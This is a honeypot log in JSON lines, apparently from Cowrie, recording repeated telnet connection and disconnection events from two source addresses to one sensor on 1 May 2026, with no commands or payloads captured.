{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd096a108d1","protocol":"telnet","message":"New connection: 208.115.200.90:38200 (10.17.0.5:23) [session: fcd096a108d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.275425Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"43225c1217c6","protocol":"telnet","message":"New connection: 208.115.219.122:55562 (10.17.0.5:23) [session: 43225c1217c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.336808Z"}
{"eventid":"cowrie.session.closed","duration":31.124661445617676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.352025Z","src_ip":"208.115.219.122","session":"a3dc5989d13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44114e5a356","protocol":"telnet","message":"New connection: 208.115.200.90:38290 (10.17.0.5:23) [session: d44114e5a356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.513530Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55568,"dst_ip":"10.17.0.5","dst_port":23,"session":"033c211becad","protocol":"telnet","message":"New connection: 208.115.219.122:55568 (10.17.0.5:23) [session: 033c211becad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.522447Z"}
{"eventid":"cowrie.session.closed","duration":31.825653791427612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.912900Z","src_ip":"208.115.200.90","session":"1dff404a3731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38238,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d9321bf9902","protocol":"telnet","message":"New connection: 208.115.200.90:38238 (10.17.0.5:23) [session: 4d9321bf9902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:59.979564Z"}
{"eventid":"cowrie.session.closed","duration":30.74192714691162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.264333Z","src_ip":"208.115.200.90","session":"6ec07d4717d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.347769021987915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.372105Z","src_ip":"208.115.200.90","session":"036744ee93e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38304,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cad1c7e169b","protocol":"telnet","message":"New connection: 208.115.200.90:38304 (10.17.0.5:23) [session: 3cad1c7e169b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.445263Z"}
{"eventid":"cowrie.session.closed","duration":30.880815744400024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.459321Z","src_ip":"208.115.200.90","session":"609fddc5e230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38306,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ab9e8f4a00","protocol":"telnet","message":"New connection: 208.115.200.90:38306 (10.17.0.5:23) [session: a3ab9e8f4a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.494504Z"}
{"eventid":"cowrie.session.closed","duration":31.52779531478882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.722983Z","src_ip":"208.115.219.122","session":"5921cf7a1eb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55592,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc42dbd00a75","protocol":"telnet","message":"New connection: 208.115.219.122:55592 (10.17.0.5:23) [session: dc42dbd00a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.745026Z"}
{"eventid":"cowrie.session.closed","duration":31.740286588668823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:00.871385Z","src_ip":"208.115.200.90","session":"757eb6caf06e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d7eadf50882","protocol":"telnet","message":"New connection: 208.115.200.90:38390 (10.17.0.5:23) [session: 5d7eadf50882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.022963Z"}
{"eventid":"cowrie.session.closed","duration":30.97448754310608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.090605Z","src_ip":"208.115.200.90","session":"62a64bc55d26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38416,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f605ac7dac","protocol":"telnet","message":"New connection: 208.115.200.90:38416 (10.17.0.5:23) [session: 01f605ac7dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.105638Z"}
{"eventid":"cowrie.session.closed","duration":30.664071083068848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.138843Z","src_ip":"208.115.200.90","session":"51d94003e570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38420,"dst_ip":"10.17.0.5","dst_port":23,"session":"8805c49068ff","protocol":"telnet","message":"New connection: 208.115.200.90:38420 (10.17.0.5:23) [session: 8805c49068ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.210595Z"}
{"eventid":"cowrie.session.closed","duration":30.866949319839478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.224437Z","src_ip":"208.115.219.122","session":"8f8631462cf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02058172225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.256250Z","src_ip":"208.115.200.90","session":"68ddb6f94c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38460,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ebbf5072030","protocol":"telnet","message":"New connection: 208.115.200.90:38460 (10.17.0.5:23) [session: 7ebbf5072030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.282533Z"}
{"eventid":"cowrie.session.closed","duration":30.693226099014282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.295895Z","src_ip":"208.115.200.90","session":"05f23989174d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38478,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db1316ed911","protocol":"telnet","message":"New connection: 208.115.200.90:38478 (10.17.0.5:23) [session: 8db1316ed911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.317669Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38526,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d8ea424eb9d","protocol":"telnet","message":"New connection: 208.115.200.90:38526 (10.17.0.5:23) [session: 1d8ea424eb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.414943Z"}
{"eventid":"cowrie.session.closed","duration":30.743610858917236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.455407Z","src_ip":"208.115.219.122","session":"61d7debf834e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38560,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a4a8e849a6","protocol":"telnet","message":"New connection: 208.115.200.90:38560 (10.17.0.5:23) [session: 65a4a8e849a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.515350Z"}
{"eventid":"cowrie.session.closed","duration":30.765546560287476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:01.527036Z","src_ip":"208.115.200.90","session":"19bb99886a49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723755598068237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.120522Z","src_ip":"208.115.219.122","session":"a080969c3b57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38938,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4cd42baa03","protocol":"telnet","message":"New connection: 208.115.200.90:38938 (10.17.0.5:23) [session: 3d4cd42baa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.145682Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38950,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfe076f9f17e","protocol":"telnet","message":"New connection: 208.115.200.90:38950 (10.17.0.5:23) [session: dfe076f9f17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.212904Z"}
{"eventid":"cowrie.session.closed","duration":30.708222150802612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.220210Z","src_ip":"208.115.200.90","session":"e2387f9dc8ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100016593933105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.247393Z","src_ip":"208.115.200.90","session":"28a39402961b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007556438446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.313889Z","src_ip":"208.115.200.90","session":"43d1f2052dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38952,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f26ce47075","protocol":"telnet","message":"New connection: 208.115.200.90:38952 (10.17.0.5:23) [session: 22f26ce47075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.318556Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38964,"dst_ip":"10.17.0.5","dst_port":23,"session":"167e9cc89f16","protocol":"telnet","message":"New connection: 208.115.200.90:38964 (10.17.0.5:23) [session: 167e9cc89f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.434357Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55696,"dst_ip":"10.17.0.5","dst_port":23,"session":"16fe6d424890","protocol":"telnet","message":"New connection: 208.115.219.122:55696 (10.17.0.5:23) [session: 16fe6d424890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.439058Z"}
{"eventid":"cowrie.session.closed","duration":31.457383632659912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.508602Z","src_ip":"208.115.200.90","session":"7169a3f838e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212746620178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.555955Z","src_ip":"208.115.200.90","session":"ece68029ba8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.318289756774902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.561527Z","src_ip":"208.115.219.122","session":"5e0f5043ee1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d0a84017466","protocol":"telnet","message":"New connection: 208.115.200.90:38974 (10.17.0.5:23) [session: 4d0a84017466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.623797Z"}
{"eventid":"cowrie.session.closed","duration":31.395405530929565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.649069Z","src_ip":"208.115.219.122","session":"21f4f7d17114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59796380996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.847416Z","src_ip":"208.115.200.90","session":"8f44b5fce761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.796818494796753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:02.884702Z","src_ip":"208.115.200.90","session":"a8e70536c036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622775554656982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.013460Z","src_ip":"208.115.200.90","session":"33922aa9e1a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38922,"dst_ip":"10.17.0.5","dst_port":23,"session":"2993308b608f","protocol":"telnet","message":"New connection: 208.115.200.90:38922 (10.17.0.5:23) [session: 2993308b608f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.053484Z"}
{"eventid":"cowrie.session.closed","duration":30.973323822021484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.078613Z","src_ip":"208.115.219.122","session":"f2ad8f173367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990410566329956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.137855Z","src_ip":"208.115.219.122","session":"4b3b9d498011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38996,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9d1a2c8a7c","protocol":"telnet","message":"New connection: 208.115.200.90:38996 (10.17.0.5:23) [session: 5a9d1a2c8a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.252270Z"}
{"eventid":"cowrie.session.closed","duration":30.433394193649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.262972Z","src_ip":"208.115.200.90","session":"8555014985e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90186643600464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.334405Z","src_ip":"208.115.200.90","session":"f6dce50c48fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39026,"dst_ip":"10.17.0.5","dst_port":23,"session":"97472a163851","protocol":"telnet","message":"New connection: 208.115.200.90:39026 (10.17.0.5:23) [session: 97472a163851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.382455Z"}
{"eventid":"cowrie.session.closed","duration":31.228102445602417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.449620Z","src_ip":"208.115.219.122","session":"43460b2a1d61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.422120332717896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.561608Z","src_ip":"208.115.200.90","session":"6d56665d80e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923794507980347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.569457Z","src_ip":"208.115.200.90","session":"b4cf0c9231be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6832914352417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:03.835178Z","src_ip":"208.115.219.122","session":"e18bc6d710dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668277502059937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.018849Z","src_ip":"208.115.219.122","session":"16fa8239d45c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78692889213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.027555Z","src_ip":"208.115.219.122","session":"05ab4accd7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747607707977295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.035059Z","src_ip":"208.115.219.122","session":"90c7c95ecce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.07545280456543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.043919Z","src_ip":"208.115.219.122","session":"e10d3057b7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39098,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b20fee5e487","protocol":"telnet","message":"New connection: 208.115.200.90:39098 (10.17.0.5:23) [session: 3b20fee5e487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.062313Z"}
{"eventid":"cowrie.session.closed","duration":30.817151308059692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.082719Z","src_ip":"208.115.219.122","session":"3d494f6c03d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769875526428223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.105011Z","src_ip":"208.115.200.90","session":"aca729df1ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.325942039489746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.126369Z","src_ip":"208.115.200.90","session":"b37890bdefd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.319275379180908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.166627Z","src_ip":"208.115.200.90","session":"6ee2dff2a017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.377631902694702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.171733Z","src_ip":"208.115.200.90","session":"0e8d421748d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540080785751343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.196967Z","src_ip":"208.115.200.90","session":"de6094087fed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811584949493408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.203877Z","src_ip":"208.115.200.90","session":"83c24f12aa97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822331428527832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.208849Z","src_ip":"208.115.200.90","session":"b48ffd5bacf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18087649345398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.225546Z","src_ip":"208.115.200.90","session":"ab3a8d5b1866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39110,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8835fafcfca","protocol":"telnet","message":"New connection: 208.115.200.90:39110 (10.17.0.5:23) [session: a8835fafcfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.254956Z"}
{"eventid":"cowrie.session.closed","duration":30.427927494049072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.269083Z","src_ip":"208.115.200.90","session":"1ef5631599af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38337802886963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.290205Z","src_ip":"208.115.200.90","session":"4e4c3a124019","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028663396835327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.427325Z","src_ip":"208.115.200.90","session":"7e4749662ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55698,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff390cbde7d9","protocol":"telnet","message":"New connection: 208.115.219.122:55698 (10.17.0.5:23) [session: ff390cbde7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.445768Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55684,"dst_ip":"10.17.0.5","dst_port":23,"session":"923efa79f063","protocol":"telnet","message":"New connection: 208.115.219.122:55684 (10.17.0.5:23) [session: 923efa79f063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.459111Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41812,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90ec32e62a4","protocol":"telnet","message":"New connection: 208.115.200.90:41812 (10.17.0.5:23) [session: f90ec32e62a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.773043Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41796,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff51293c8d1","protocol":"telnet","message":"New connection: 208.115.200.90:41796 (10.17.0.5:23) [session: 8ff51293c8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.782297Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"4938f2da9d76","protocol":"telnet","message":"New connection: 208.115.219.122:55704 (10.17.0.5:23) [session: 4938f2da9d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:04.945192Z"}
{"eventid":"cowrie.session.closed","duration":30.121519565582275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.020190Z","src_ip":"208.115.219.122","session":"69c27fcaebf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2026fdc620b7","protocol":"telnet","message":"New connection: 208.115.219.122:55718 (10.17.0.5:23) [session: 2026fdc620b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.026837Z"}
{"eventid":"cowrie.session.closed","duration":31.05167508125305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.090722Z","src_ip":"208.115.200.90","session":"d8084af2b6d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43799328804016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:05.107331Z","src_ip":"208.115.219.122","session":"4f146ea162fa","protocol":"telnet"}
